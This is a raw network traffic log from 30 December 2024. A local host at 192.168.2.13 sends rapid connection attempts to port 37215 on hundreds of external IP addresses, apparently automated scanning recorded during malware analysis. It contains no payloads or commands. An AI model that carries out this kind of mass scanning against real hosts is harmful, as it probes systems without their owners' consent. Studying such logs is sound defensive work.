Dec 30, 2024 11:58:11.713284969 CET	54476	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.713301897 CET	54476	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.713602066 CET	54732	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.713987112 CET	58134	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.713987112 CET	58134	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.714273930 CET	58390	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.714350939 CET	37215	40144	156.149.182.191	192.168.2.13
Dec 30, 2024 11:58:11.714360952 CET	37215	39980	156.13.108.190	192.168.2.13
Dec 30, 2024 11:58:11.714370966 CET	37215	40236	156.13.108.190	192.168.2.13
Dec 30, 2024 11:58:11.714380026 CET	37215	49302	197.89.105.33	192.168.2.13
Dec 30, 2024 11:58:11.714396954 CET	40144	37215	192.168.2.13	156.149.182.191
Dec 30, 2024 11:58:11.714401007 CET	40236	37215	192.168.2.13	156.13.108.190
Dec 30, 2024 11:58:11.714426994 CET	37215	49558	197.89.105.33	192.168.2.13
Dec 30, 2024 11:58:11.714436054 CET	37215	48040	41.149.131.230	192.168.2.13
Dec 30, 2024 11:58:11.714464903 CET	49558	37215	192.168.2.13	197.89.105.33
Dec 30, 2024 11:58:11.714634895 CET	48454	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.714651108 CET	48454	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.714934111 CET	48710	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.715286970 CET	44426	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.715301991 CET	44426	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.715434074 CET	37215	48296	41.149.131.230	192.168.2.13
Dec 30, 2024 11:58:11.715473890 CET	48296	37215	192.168.2.13	41.149.131.230
Dec 30, 2024 11:58:11.715610981 CET	44682	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.715974092 CET	59564	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.715990067 CET	59564	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.716053009 CET	37215	39874	41.224.93.220	192.168.2.13
Dec 30, 2024 11:58:11.716063023 CET	37215	54870	156.116.39.200	192.168.2.13
Dec 30, 2024 11:58:11.716070890 CET	37215	34342	197.79.198.39	192.168.2.13
Dec 30, 2024 11:58:11.716078997 CET	37215	47092	197.98.22.62	192.168.2.13
Dec 30, 2024 11:58:11.716099024 CET	37215	57416	41.193.220.200	192.168.2.13
Dec 30, 2024 11:58:11.716106892 CET	37215	42436	156.169.191.215	192.168.2.13
Dec 30, 2024 11:58:11.716115952 CET	37215	59856	41.44.163.240	192.168.2.13
Dec 30, 2024 11:58:11.716157913 CET	37215	60112	41.44.163.240	192.168.2.13
Dec 30, 2024 11:58:11.716166973 CET	37215	56928	197.207.205.126	192.168.2.13
Dec 30, 2024 11:58:11.716202974 CET	60112	37215	192.168.2.13	41.44.163.240
Dec 30, 2024 11:58:11.716253042 CET	59820	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.716530085 CET	37215	57184	197.207.205.126	192.168.2.13
Dec 30, 2024 11:58:11.716540098 CET	37215	36328	156.13.189.108	192.168.2.13
Dec 30, 2024 11:58:11.716571093 CET	57184	37215	192.168.2.13	197.207.205.126
Dec 30, 2024 11:58:11.716620922 CET	49152	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.716633081 CET	49152	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.716919899 CET	49408	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.717278004 CET	38630	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.717293978 CET	38630	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.717571974 CET	38886	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.717953920 CET	51118	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.717968941 CET	51118	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.718048096 CET	37215	36584	156.13.189.108	192.168.2.13
Dec 30, 2024 11:58:11.718058109 CET	37215	44114	197.184.115.105	192.168.2.13
Dec 30, 2024 11:58:11.718087912 CET	36584	37215	192.168.2.13	156.13.189.108
Dec 30, 2024 11:58:11.718267918 CET	51374	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.718638897 CET	36410	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.718657017 CET	36410	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.718939066 CET	36666	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.719304085 CET	56244	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.719317913 CET	56244	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.719614029 CET	56500	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.719979048 CET	43728	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.719989061 CET	43728	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.720262051 CET	43984	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.720633984 CET	33610	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.720650911 CET	33610	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.720925093 CET	33866	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.721311092 CET	47510	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.721324921 CET	47510	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.721607924 CET	47766	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.721981049 CET	38030	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.721992016 CET	38030	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.722261906 CET	38286	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.722639084 CET	39362	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.722639084 CET	39362	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.722923040 CET	39618	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.723293066 CET	40210	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.723304033 CET	40210	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.723587036 CET	40466	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.723962069 CET	60652	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.723962069 CET	60652	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.724248886 CET	60908	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.724618912 CET	33706	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.724633932 CET	33706	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.724900961 CET	33962	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.725277901 CET	56840	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.725277901 CET	56840	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.725569963 CET	57096	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.725931883 CET	46288	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.725944042 CET	46288	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.726223946 CET	46544	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.726587057 CET	49374	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.726587057 CET	49374	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.726865053 CET	49630	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.727246046 CET	59052	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.727246046 CET	59052	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.727543116 CET	59308	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.727916956 CET	47536	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.727926970 CET	47536	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.728225946 CET	47792	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.728583097 CET	43156	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.728594065 CET	43156	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.728871107 CET	43412	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.729248047 CET	41528	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.729258060 CET	41528	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.729541063 CET	41784	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.729916096 CET	33576	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.729916096 CET	33576	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.730204105 CET	33832	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.730567932 CET	38472	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.730578899 CET	38472	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.730850935 CET	38728	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.731219053 CET	51208	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.731228113 CET	51208	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.731507063 CET	51464	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.731867075 CET	41286	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.731878042 CET	41286	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.732167959 CET	41542	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.732536077 CET	35636	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.732588053 CET	35636	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.732825041 CET	35892	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.733206987 CET	49880	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.733218908 CET	49880	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.733499050 CET	50136	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.733870983 CET	33398	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.733881950 CET	33398	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.734154940 CET	33654	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.734523058 CET	48846	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.734533072 CET	48846	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.734808922 CET	49102	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.735172033 CET	54148	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.735172033 CET	54148	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.735433102 CET	44426	37215	192.168.2.13	197.200.79.39
Dec 30, 2024 11:58:11.735446930 CET	48454	37215	192.168.2.13	41.26.102.197
Dec 30, 2024 11:58:11.735447884 CET	54476	37215	192.168.2.13	41.86.123.62
Dec 30, 2024 11:58:11.735451937 CET	58134	37215	192.168.2.13	156.46.182.195
Dec 30, 2024 11:58:11.735451937 CET	48316	37215	192.168.2.13	197.107.33.31
Dec 30, 2024 11:58:11.735480070 CET	54404	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.735857964 CET	34228	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.735872984 CET	34228	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.736148119 CET	34484	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.736516953 CET	52096	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.736532927 CET	52096	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.736814976 CET	52352	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.737176895 CET	45746	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.737194061 CET	45746	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.737457991 CET	46002	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.737834930 CET	54974	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.737844944 CET	54974	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.738106966 CET	55230	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.738466978 CET	59270	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.738483906 CET	59270	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.738755941 CET	59526	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.739104986 CET	46334	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.739137888 CET	46334	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.739394903 CET	46590	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.739432096 CET	56244	37215	192.168.2.13	156.138.243.154
Dec 30, 2024 11:58:11.739432096 CET	36410	37215	192.168.2.13	156.187.73.58
Dec 30, 2024 11:58:11.739434958 CET	51118	37215	192.168.2.13	156.6.89.61
Dec 30, 2024 11:58:11.739434958 CET	38630	37215	192.168.2.13	197.93.238.54
Dec 30, 2024 11:58:11.739447117 CET	59564	37215	192.168.2.13	197.92.141.107
Dec 30, 2024 11:58:11.739448071 CET	49152	37215	192.168.2.13	41.237.172.11
Dec 30, 2024 11:58:11.739765882 CET	53306	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.739783049 CET	53306	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.740084887 CET	53562	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.740466118 CET	50776	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.740467072 CET	50776	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.740750074 CET	51032	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.741122961 CET	60050	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.741132975 CET	60050	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.741420031 CET	60306	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.741821051 CET	34142	37215	192.168.2.13	197.192.128.53
Dec 30, 2024 11:58:11.741837978 CET	56144	37215	192.168.2.13	156.191.93.237
Dec 30, 2024 11:58:11.741851091 CET	55292	37215	192.168.2.13	41.55.65.172
Dec 30, 2024 11:58:11.741863012 CET	40418	37215	192.168.2.13	156.18.92.110
Dec 30, 2024 11:58:11.741863012 CET	36048	37215	192.168.2.13	156.101.247.130
Dec 30, 2024 11:58:11.741885900 CET	45324	37215	192.168.2.13	156.109.241.42
Dec 30, 2024 11:58:11.741890907 CET	55900	37215	192.168.2.13	197.246.49.5
Dec 30, 2024 11:58:11.741900921 CET	51884	37215	192.168.2.13	197.249.88.69
Dec 30, 2024 11:58:11.741918087 CET	48752	37215	192.168.2.13	41.79.84.105
Dec 30, 2024 11:58:11.741930962 CET	47042	37215	192.168.2.13	197.64.75.204
Dec 30, 2024 11:58:11.741935968 CET	42692	37215	192.168.2.13	156.169.191.215
Dec 30, 2024 11:58:11.741949081 CET	57672	37215	192.168.2.13	41.193.220.200
Dec 30, 2024 11:58:11.741949081 CET	47348	37215	192.168.2.13	197.98.22.62
Dec 30, 2024 11:58:11.741962910 CET	34598	37215	192.168.2.13	197.79.198.39
Dec 30, 2024 11:58:11.741981983 CET	55126	37215	192.168.2.13	156.116.39.200
Dec 30, 2024 11:58:11.741981983 CET	40130	37215	192.168.2.13	41.224.93.220
Dec 30, 2024 11:58:11.741997004 CET	38668	37215	192.168.2.13	197.163.40.97
Dec 30, 2024 11:58:11.742003918 CET	41334	37215	192.168.2.13	197.38.231.199
Dec 30, 2024 11:58:11.742012978 CET	44220	37215	192.168.2.13	41.74.164.208
Dec 30, 2024 11:58:11.742034912 CET	45208	37215	192.168.2.13	197.60.116.58
Dec 30, 2024 11:58:11.742039919 CET	37770	37215	192.168.2.13	156.247.235.165
Dec 30, 2024 11:58:11.742053986 CET	40782	37215	192.168.2.13	197.24.201.80
Dec 30, 2024 11:58:11.742062092 CET	45622	37215	192.168.2.13	41.108.183.127
Dec 30, 2024 11:58:11.742072105 CET	39646	37215	192.168.2.13	41.34.96.228
Dec 30, 2024 11:58:11.742090940 CET	53634	37215	192.168.2.13	41.214.248.109
Dec 30, 2024 11:58:11.742094994 CET	53512	37215	192.168.2.13	156.68.68.240
Dec 30, 2024 11:58:11.742113113 CET	43604	37215	192.168.2.13	156.101.11.103
Dec 30, 2024 11:58:11.742116928 CET	38950	37215	192.168.2.13	41.26.212.241
Dec 30, 2024 11:58:11.742130995 CET	59236	37215	192.168.2.13	197.124.218.69
Dec 30, 2024 11:58:11.742135048 CET	35596	37215	192.168.2.13	156.244.154.48
Dec 30, 2024 11:58:11.742145061 CET	43176	37215	192.168.2.13	41.200.70.248
Dec 30, 2024 11:58:11.742158890 CET	49396	37215	192.168.2.13	41.206.210.106
Dec 30, 2024 11:58:11.742172956 CET	47844	37215	192.168.2.13	197.54.40.227
Dec 30, 2024 11:58:11.742175102 CET	37804	37215	192.168.2.13	197.142.229.57
Dec 30, 2024 11:58:11.742191076 CET	59796	37215	192.168.2.13	41.188.197.53
Dec 30, 2024 11:58:11.742203951 CET	57084	37215	192.168.2.13	197.240.32.99
Dec 30, 2024 11:58:11.742217064 CET	56956	37215	192.168.2.13	156.21.249.218
Dec 30, 2024 11:58:11.742222071 CET	49612	37215	192.168.2.13	41.117.136.128
Dec 30, 2024 11:58:11.742235899 CET	42884	37215	192.168.2.13	197.177.99.168
Dec 30, 2024 11:58:11.742248058 CET	37128	37215	192.168.2.13	197.9.236.17
Dec 30, 2024 11:58:11.742266893 CET	34770	37215	192.168.2.13	156.192.234.226
Dec 30, 2024 11:58:11.742280006 CET	49708	37215	192.168.2.13	197.240.74.165
Dec 30, 2024 11:58:11.742285967 CET	41044	37215	192.168.2.13	156.129.228.150
Dec 30, 2024 11:58:11.742291927 CET	46236	37215	192.168.2.13	197.171.72.135
Dec 30, 2024 11:58:11.742311954 CET	39528	37215	192.168.2.13	197.61.151.147
Dec 30, 2024 11:58:11.742328882 CET	40130	37215	192.168.2.13	156.7.148.95
Dec 30, 2024 11:58:11.742338896 CET	50244	37215	192.168.2.13	156.130.26.19
Dec 30, 2024 11:58:11.742352009 CET	33944	37215	192.168.2.13	156.0.240.208
Dec 30, 2024 11:58:11.742356062 CET	49352	37215	192.168.2.13	156.209.217.158
Dec 30, 2024 11:58:11.742363930 CET	54998	37215	192.168.2.13	156.175.150.37
Dec 30, 2024 11:58:11.742379904 CET	41542	37215	192.168.2.13	197.36.89.140
Dec 30, 2024 11:58:11.742384911 CET	53980	37215	192.168.2.13	197.211.16.173
Dec 30, 2024 11:58:11.742402077 CET	56726	37215	192.168.2.13	41.195.253.254
Dec 30, 2024 11:58:11.742418051 CET	52132	37215	192.168.2.13	197.102.24.126
Dec 30, 2024 11:58:11.742423058 CET	36874	37215	192.168.2.13	156.220.73.34
Dec 30, 2024 11:58:11.742435932 CET	46560	37215	192.168.2.13	156.201.245.6
Dec 30, 2024 11:58:11.742454052 CET	54004	37215	192.168.2.13	197.195.57.53
Dec 30, 2024 11:58:11.742456913 CET	47014	37215	192.168.2.13	156.131.101.202
Dec 30, 2024 11:58:11.742475033 CET	52440	37215	192.168.2.13	156.184.181.194
Dec 30, 2024 11:58:11.742479086 CET	37596	37215	192.168.2.13	41.245.134.247
Dec 30, 2024 11:58:11.742486000 CET	59158	37215	192.168.2.13	197.39.32.108
Dec 30, 2024 11:58:11.742505074 CET	60958	37215	192.168.2.13	156.244.77.93
Dec 30, 2024 11:58:11.742516041 CET	46856	37215	192.168.2.13	41.50.141.94
Dec 30, 2024 11:58:11.742525101 CET	55512	37215	192.168.2.13	197.210.230.82
Dec 30, 2024 11:58:11.742562056 CET	43442	37215	192.168.2.13	197.238.194.223
Dec 30, 2024 11:58:11.742563963 CET	53408	37215	192.168.2.13	156.106.104.75
Dec 30, 2024 11:58:11.742573977 CET	55742	37215	192.168.2.13	41.171.127.49
Dec 30, 2024 11:58:11.742573977 CET	45012	37215	192.168.2.13	156.207.249.17
Dec 30, 2024 11:58:11.742574930 CET	40236	37215	192.168.2.13	156.13.108.190
Dec 30, 2024 11:58:11.742575884 CET	53908	37215	192.168.2.13	156.95.34.112
Dec 30, 2024 11:58:11.742575884 CET	40144	37215	192.168.2.13	156.149.182.191
Dec 30, 2024 11:58:11.742575884 CET	49558	37215	192.168.2.13	197.89.105.33
Dec 30, 2024 11:58:11.742588043 CET	48296	37215	192.168.2.13	41.149.131.230
Dec 30, 2024 11:58:11.742599010 CET	60112	37215	192.168.2.13	41.44.163.240
Dec 30, 2024 11:58:11.742604017 CET	57184	37215	192.168.2.13	197.207.205.126
Dec 30, 2024 11:58:11.742610931 CET	36584	37215	192.168.2.13	156.13.189.108
Dec 30, 2024 11:58:11.742902994 CET	57920	37215	192.168.2.13	41.97.207.38
Dec 30, 2024 11:58:11.743442059 CET	39362	37215	192.168.2.13	156.250.109.59
Dec 30, 2024 11:58:11.743442059 CET	38030	37215	192.168.2.13	41.210.149.51
Dec 30, 2024 11:58:11.743444920 CET	47510	37215	192.168.2.13	197.48.134.189
Dec 30, 2024 11:58:11.743446112 CET	40210	37215	192.168.2.13	41.141.148.233
Dec 30, 2024 11:58:11.743452072 CET	33610	37215	192.168.2.13	41.237.37.41
Dec 30, 2024 11:58:11.743455887 CET	43728	37215	192.168.2.13	197.189.135.34
Dec 30, 2024 11:58:11.743571997 CET	33034	37215	192.168.2.13	41.60.254.232
Dec 30, 2024 11:58:11.744210005 CET	38964	37215	192.168.2.13	41.128.29.173
Dec 30, 2024 11:58:11.744838953 CET	42848	37215	192.168.2.13	197.109.36.50
Dec 30, 2024 11:58:11.745476961 CET	46068	37215	192.168.2.13	197.54.249.204
Dec 30, 2024 11:58:11.746104002 CET	49024	37215	192.168.2.13	156.141.23.114
Dec 30, 2024 11:58:11.746732950 CET	54882	37215	192.168.2.13	156.180.119.226
Dec 30, 2024 11:58:11.747359991 CET	45000	37215	192.168.2.13	197.144.183.161
Dec 30, 2024 11:58:11.747431993 CET	59052	37215	192.168.2.13	197.72.57.111
Dec 30, 2024 11:58:11.747431993 CET	49374	37215	192.168.2.13	41.230.55.212
Dec 30, 2024 11:58:11.747431993 CET	46288	37215	192.168.2.13	156.1.25.74
Dec 30, 2024 11:58:11.747440100 CET	56840	37215	192.168.2.13	156.62.208.247
Dec 30, 2024 11:58:11.747448921 CET	33706	37215	192.168.2.13	197.167.251.9
Dec 30, 2024 11:58:11.747453928 CET	60652	37215	192.168.2.13	156.106.7.164
Dec 30, 2024 11:58:11.748012066 CET	51218	37215	192.168.2.13	156.126.95.206
Dec 30, 2024 11:58:11.748626947 CET	59270	37215	192.168.2.13	156.59.224.18
Dec 30, 2024 11:58:11.749238968 CET	59542	37215	192.168.2.13	41.189.121.217
Dec 30, 2024 11:58:11.749887943 CET	56500	37215	192.168.2.13	197.35.235.54
Dec 30, 2024 11:58:11.750515938 CET	33624	37215	192.168.2.13	197.188.204.12
Dec 30, 2024 11:58:11.751157045 CET	33474	37215	192.168.2.13	197.94.136.42
Dec 30, 2024 11:58:11.751431942 CET	38472	37215	192.168.2.13	156.169.69.193
Dec 30, 2024 11:58:11.751432896 CET	51208	37215	192.168.2.13	41.138.140.167
Dec 30, 2024 11:58:11.751432896 CET	33576	37215	192.168.2.13	197.98.70.25
Dec 30, 2024 11:58:11.751432896 CET	41528	37215	192.168.2.13	41.25.20.213
Dec 30, 2024 11:58:11.751441956 CET	43156	37215	192.168.2.13	156.182.174.2
Dec 30, 2024 11:58:11.751451015 CET	47536	37215	192.168.2.13	156.37.37.254
Dec 30, 2024 11:58:11.751832008 CET	60474	37215	192.168.2.13	41.146.12.227
Dec 30, 2024 11:58:11.752463102 CET	38210	37215	192.168.2.13	156.38.138.118
Dec 30, 2024 11:58:11.753123999 CET	52224	37215	192.168.2.13	156.209.225.158
Dec 30, 2024 11:58:11.753765106 CET	51376	37215	192.168.2.13	156.88.218.113
Dec 30, 2024 11:58:11.754383087 CET	56258	37215	192.168.2.13	156.176.132.126
Dec 30, 2024 11:58:11.755024910 CET	45926	37215	192.168.2.13	41.106.254.125
Dec 30, 2024 11:58:11.755435944 CET	48846	37215	192.168.2.13	41.20.164.130
Dec 30, 2024 11:58:11.755438089 CET	54148	37215	192.168.2.13	197.40.63.23
Dec 30, 2024 11:58:11.755444050 CET	49880	37215	192.168.2.13	197.40.169.168
Dec 30, 2024 11:58:11.755444050 CET	35636	37215	192.168.2.13	156.57.133.109
Dec 30, 2024 11:58:11.755446911 CET	33398	37215	192.168.2.13	197.208.52.207
Dec 30, 2024 11:58:11.755446911 CET	41286	37215	192.168.2.13	197.233.170.178
Dec 30, 2024 11:58:11.755682945 CET	36426	37215	192.168.2.13	197.92.59.248
Dec 30, 2024 11:58:11.756314039 CET	40840	37215	192.168.2.13	41.235.222.217
Dec 30, 2024 11:58:11.756947041 CET	33618	37215	192.168.2.13	197.240.89.164
Dec 30, 2024 11:58:11.757569075 CET	49318	37215	192.168.2.13	41.177.76.91
Dec 30, 2024 11:58:11.758224964 CET	56802	37215	192.168.2.13	41.92.28.226
Dec 30, 2024 11:58:11.758866072 CET	33122	37215	192.168.2.13	156.61.136.28
Dec 30, 2024 11:58:11.759430885 CET	46334	37215	192.168.2.13	197.83.90.105
Dec 30, 2024 11:58:11.759433031 CET	59270	37215	192.168.2.13	41.182.67.190
Dec 30, 2024 11:58:11.759440899 CET	54974	37215	192.168.2.13	197.238.132.137
Dec 30, 2024 11:58:11.759440899 CET	52096	37215	192.168.2.13	156.120.92.46
Dec 30, 2024 11:58:11.759445906 CET	34228	37215	192.168.2.13	197.140.83.173
Dec 30, 2024 11:58:11.759447098 CET	45746	37215	192.168.2.13	41.188.10.23
Dec 30, 2024 11:58:11.759505033 CET	56736	37215	192.168.2.13	197.160.247.104
Dec 30, 2024 11:58:11.760129929 CET	57954	37215	192.168.2.13	197.25.188.200
Dec 30, 2024 11:58:11.760771036 CET	37298	37215	192.168.2.13	156.149.165.219
Dec 30, 2024 11:58:11.761498928 CET	47628	37215	192.168.2.13	197.187.166.49
Dec 30, 2024 11:58:11.762130022 CET	33194	37215	192.168.2.13	197.129.120.114
Dec 30, 2024 11:58:11.762768030 CET	57110	37215	192.168.2.13	197.75.57.100
Dec 30, 2024 11:58:11.763401031 CET	41698	37215	192.168.2.13	197.21.118.250
Dec 30, 2024 11:58:11.763430119 CET	53306	37215	192.168.2.13	197.32.32.76
Dec 30, 2024 11:58:11.763433933 CET	60050	37215	192.168.2.13	156.19.18.216
Dec 30, 2024 11:58:11.763433933 CET	50776	37215	192.168.2.13	156.7.96.98
Dec 30, 2024 11:58:11.764079094 CET	47632	37215	192.168.2.13	156.41.81.18
Dec 30, 2024 11:58:11.764745951 CET	55306	37215	192.168.2.13	197.81.139.237
Dec 30, 2024 11:58:11.765407085 CET	48052	37215	192.168.2.13	41.64.243.137
Dec 30, 2024 11:58:11.766055107 CET	46450	37215	192.168.2.13	41.18.43.210
Dec 30, 2024 11:58:11.766736984 CET	38466	37215	192.168.2.13	156.154.52.203
Dec 30, 2024 11:58:11.767388105 CET	38262	37215	192.168.2.13	41.149.85.49
Dec 30, 2024 11:58:11.768032074 CET	58486	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:11.768063068 CET	58486	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:11.768332005 CET	58820	37215	192.168.2.13	156.202.105.35
Dec 30, 2024 11:58:11.768713951 CET	54824	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:11.768726110 CET	54824	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:11.769015074 CET	55158	37215	192.168.2.13	41.112.191.5
Dec 30, 2024 11:58:11.769397974 CET	42416	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:11.769412041 CET	42416	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:11.769685984 CET	42750	37215	192.168.2.13	197.246.218.73
Dec 30, 2024 11:58:11.770070076 CET	55430	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:11.770082951 CET	55430	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:11.770365000 CET	55764	37215	192.168.2.13	41.125.226.78
Dec 30, 2024 11:58:11.770720005 CET	36072	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:11.770736933 CET	36072	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:11.771039963 CET	36406	37215	192.168.2.13	197.250.0.238
Dec 30, 2024 11:58:11.771434069 CET	48592	37215	192.168.2.13	156.17.174.6
Dec 30, 2024 11:58:11.771459103 CET	48592	37215	192.168.2.13	156.17.174.6
Dec 30, 2024 11:58:11.771723032 CET	48926	37215	192.168.2.13	156.17.174.6
